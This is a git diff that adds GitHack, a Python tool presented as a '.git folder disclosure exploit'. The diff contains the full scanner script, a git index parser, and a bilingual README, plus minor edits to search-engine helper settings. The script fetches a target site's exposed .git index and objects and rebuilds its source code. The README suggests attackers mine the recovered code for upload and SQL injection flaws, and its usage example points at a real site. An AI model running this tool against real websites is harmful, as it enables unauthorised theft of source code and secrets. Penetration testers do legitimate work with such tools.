diff --git a/GitHack/.DS_Store b/GitHack/.DS_Store new file mode 100644 index 0000000..3038f8f Binary files /dev/null and b/GitHack/.DS_Store differ diff --git a/GitHack/GitHack.py b/GitHack/GitHack.py new file mode 100644 index 0000000..083ad1d --- /dev/null +++ b/GitHack/GitHack.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python +# -*- encoding: utf-8 -*- + +import sys +import urllib2 +import os +import urlparse +import zlib +import threading +import Queue +import re +import time +from lib.parser import parse + + +if len(sys.argv) == 1: + msg = """ + +A `.git` folder disclosure exploit. By LiJieJie + +Usage: GitHack.py http://www.target.com/.git/ + +bug-report: my[at]lijiejie.com (http://www.lijiejie.com) +""" + print msg + sys.exit(0) + + +class Scanner(object): + def __init__(self): + self.base_url = sys.argv[-1] + self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_') + if not os.path.exists(self.domain): + os.mkdir(self.domain) + print '[+] Download and parse index file ...' + data = self._request_data(sys.argv[-1] + '/index') + with open('index', 'wb') as f: + f.write(data) + self.queue = Queue.Queue() + for entry in parse('index'): + if "sha1" in entry.keys(): + self.queue.put((entry["sha1"].strip(), entry["name"].strip())) + try: + print entry['name'] + except: + pass + self.lock = threading.Lock() + self.thread_count = 20 + self.STOP_ME = False + + def _request_data(self, url): + request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'}) + return urllib2.urlopen(request).read() + + def _print(self, msg): + self.lock.acquire() + print msg + self.lock.release() + + def get_back_file(self): + while not self.STOP_ME: + try: + sha1, file_name = self.queue.get(timeout=0.5) + except: + break + for i in range(3): + try: + folder = '/objects/%s/' % sha1[:2] + data = self._request_data(self.base_url + folder + sha1[2:]) + try: + data = zlib.decompress(data) + except: + self._print('[Error] Fail to decompress %s' % file_name) + data = re.sub('blob \d+\00', '', data) + target_dir = os.path.join(self.domain, os.path.dirname(file_name) ) + if target_dir and not os.path.exists(target_dir): + os.makedirs(target_dir) + with open( os.path.join(self.domain, file_name) , 'wb') as f: + f.write(data) + self._print('[OK] %s' % file_name) + break + except urllib2.HTTPError, e: + if str(e).find('HTTP Error 404') >=0: + self._print('[File not found] %s' % file_name) + break + except Exception, e: + self._print('[Error] %s' % e) + self.exit_thread() + + def exit_thread(self): + self.lock.acquire() + self.thread_count -= 1 + self.lock.release() + + def scan(self): + for i in range(self.thread_count): + t = threading.Thread(target=self.get_back_file) + t.start() + + +s = Scanner() +s.scan() +try: + while s.thread_count > 0: + time.sleep(0.1) +except KeyboardInterrupt, e: + s.STOP_ME = True + time.sleep(1.0) + print 'User Aborted.' \ No newline at end of file diff --git a/GitHack/README.md b/GitHack/README.md new file mode 100644 index 0000000..10577e8 --- /dev/null +++ b/GitHack/README.md @@ -0,0 +1,38 @@ +GitHack += + +GitHack is a `.git` folder disclosure exploit. + +It rebuild source code from .git folder while keep directory structure unchanged. + +GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。 + +渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。 + +## 脚本的工作原理 ## + +* 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) +* 去.git/objects/ 文件夹下下载对应的文件 +* zlib解压文件,按原始的目录结构写入源代码 + +## 它的优点 ## + +* 速度快,默认20个工作线程 +* 尽量还原所有的源代码,缺失部分文件不影响脚本工作 +* 脚本不需要执行额外的git命令,All you need is python +* 脚本无需浏览目录 + +## 可能的改进## + +* 存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码 + +##用法示例## + GitHack.py http://www.openssl.org/.git/ + +##反馈## +* my[at]lijiejie.com +* [http://www.lijiejie.com](http://www.lijiejie.com) + +##Thanks## +Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin) + diff --git a/GitHack/lib/__init__.py b/GitHack/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/GitHack/lib/parser.py b/GitHack/lib/parser.py new file mode 100644 index 0000000..1b717fd --- /dev/null +++ b/GitHack/lib/parser.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python +# +# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt +# + +import binascii +import collections +import mmap +import struct +import sys + + +def check(boolean, message): + if not boolean: + import sys + print "error: " + message + sys.exit(1) + + +def parse(filename, pretty=True): + with open(filename, "rb") as o: + f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) + + def read(format): + # "All binary numbers are in network byte order." + # Hence "!" = network order, big endian + format = "! " + format + bytes = f.read(struct.calcsize(format)) + return struct.unpack(format, bytes)[0] + + index = collections.OrderedDict() + + # 4-byte signature, b"DIRC" + index["signature"] = f.read(4).decode("ascii") + check(index["signature"] == "DIRC", "Not a Git index file") + + # 4-byte version number + index["version"] = read("I") + check(index["version"] in {2, 3}, + "Unsupported version: %s" % index["version"]) + + # 32-bit number of index entries, i.e. 4-byte + index["entries"] = read("I") + + yield index + + for n in range(index["entries"]): + entry = collections.OrderedDict() + + entry["entry"] = n + 1 + + entry["ctime_seconds"] = read("I") + entry["ctime_nanoseconds"] = read("I") + if pretty: + entry["ctime"] = entry["ctime_seconds"] + entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000 + del entry["ctime_seconds"] + del entry["ctime_nanoseconds"] + + entry["mtime_seconds"] = read("I") + entry["mtime_nanoseconds"] = read("I") + if pretty: + entry["mtime"] = entry["mtime_seconds"] + entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000 + del entry["mtime_seconds"] + del entry["mtime_nanoseconds"] + + entry["dev"] = read("I") + entry["ino"] = read("I") + + # 4-bit object type, 3-bit unused, 9-bit unix permission + entry["mode"] = read("I") + if pretty: + entry["mode"] = "%06o" % entry["mode"] + + entry["uid"] = read("I") + entry["gid"] = read("I") + entry["size"] = read("I") + + entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii") + entry["flags"] = read("H") + + # 1-bit assume-valid + entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8)) + # 1-bit extended, must be 0 in version 2 + entry["extended"] = bool(entry["flags"] & (0b01000000 << 8)) + # 2-bit stage (?) + stage_one = bool(entry["flags"] & (0b00100000 << 8)) + stage_two = bool(entry["flags"] & (0b00010000 << 8)) + entry["stage"] = stage_one, stage_two + # 12-bit name length, if the length is less than 0xFFF (else, 0xFFF) + namelen = entry["flags"] & 0xFFF + + # 62 bytes so far + entrylen = 62 + + if entry["extended"] and (index["version"] == 3): + entry["extra-flags"] = read("H") + # 1-bit reserved + entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8)) + # 1-bit skip-worktree + entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8)) + # 1-bit intent-to-add + entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8)) + # 13-bits unused + # used = entry["extra-flags"] & (0b11100000 << 8) + # check(not used, "Expected unused bits in extra-flags") + entrylen += 2 + + if namelen < 0xFFF: + entry["name"] = f.read(namelen).decode("utf-8", "replace") + entrylen += namelen + else: + # Do it the hard way + name = [] + while True: + byte = f.read(1) + if byte == "\x00": + break + name.append(byte) + entry["name"] = b"".join(name).decode("utf-8", "replace") + entrylen += 1 + + padlen = (8 - (entrylen % 8)) or 8 + nuls = f.read(padlen) + check(set(nuls) == set(['\x00']), "padding contained non-NUL") + + yield entry + + f.close() + + + + + diff --git a/utils/google.py b/utils/google.py index 5a0b9e0..90fe632 100644 --- a/utils/google.py +++ b/utils/google.py @@ -14,7 +14,7 @@ if os.environ.has_key('search_engine'): search_engine = os.environ['search_engine'] else: - search_engine = 'hxgoogle' + search_engine = 'google' if search_engine == 'gfsoso': google = gfsoso.google diff --git a/utils/googlesearch.py b/utils/googlesearch.py index 6054b3e..ff99239 100644 --- a/utils/googlesearch.py +++ b/utils/googlesearch.py @@ -6,7 +6,7 @@ import webutils import sys, os -GOOGLE_HOME = 'http://64.233.161.104' +GOOGLE_HOME = 'https://www.google.com' GOOGLE_SEARCH_URL = GOOGLE_HOME + '/search?hl=en_US&start=%d&q=%s' REQ_TIMEOUT = 20 NUM_PER_PAGE = 10 diff --git a/utils/webutils.py b/utils/webutils.py index 78365c4..5b8285d 100644 --- a/utils/webutils.py +++ b/utils/webutils.py @@ -35,11 +35,11 @@ def setupOpener(opener): global cookieJar cookieJar = cookielib.CookieJar() opener.add_handler(urllib2.HTTPCookieProcessor(cookieJar)) - + """ if os.environ.has_key('http_proxy'): prx = os.environ['http_proxy'] opener.add_handler(urllib2.ProxyHandler({'http': prx})) - + """ topurlPostfix = ( '.com','.la','.io', '.co',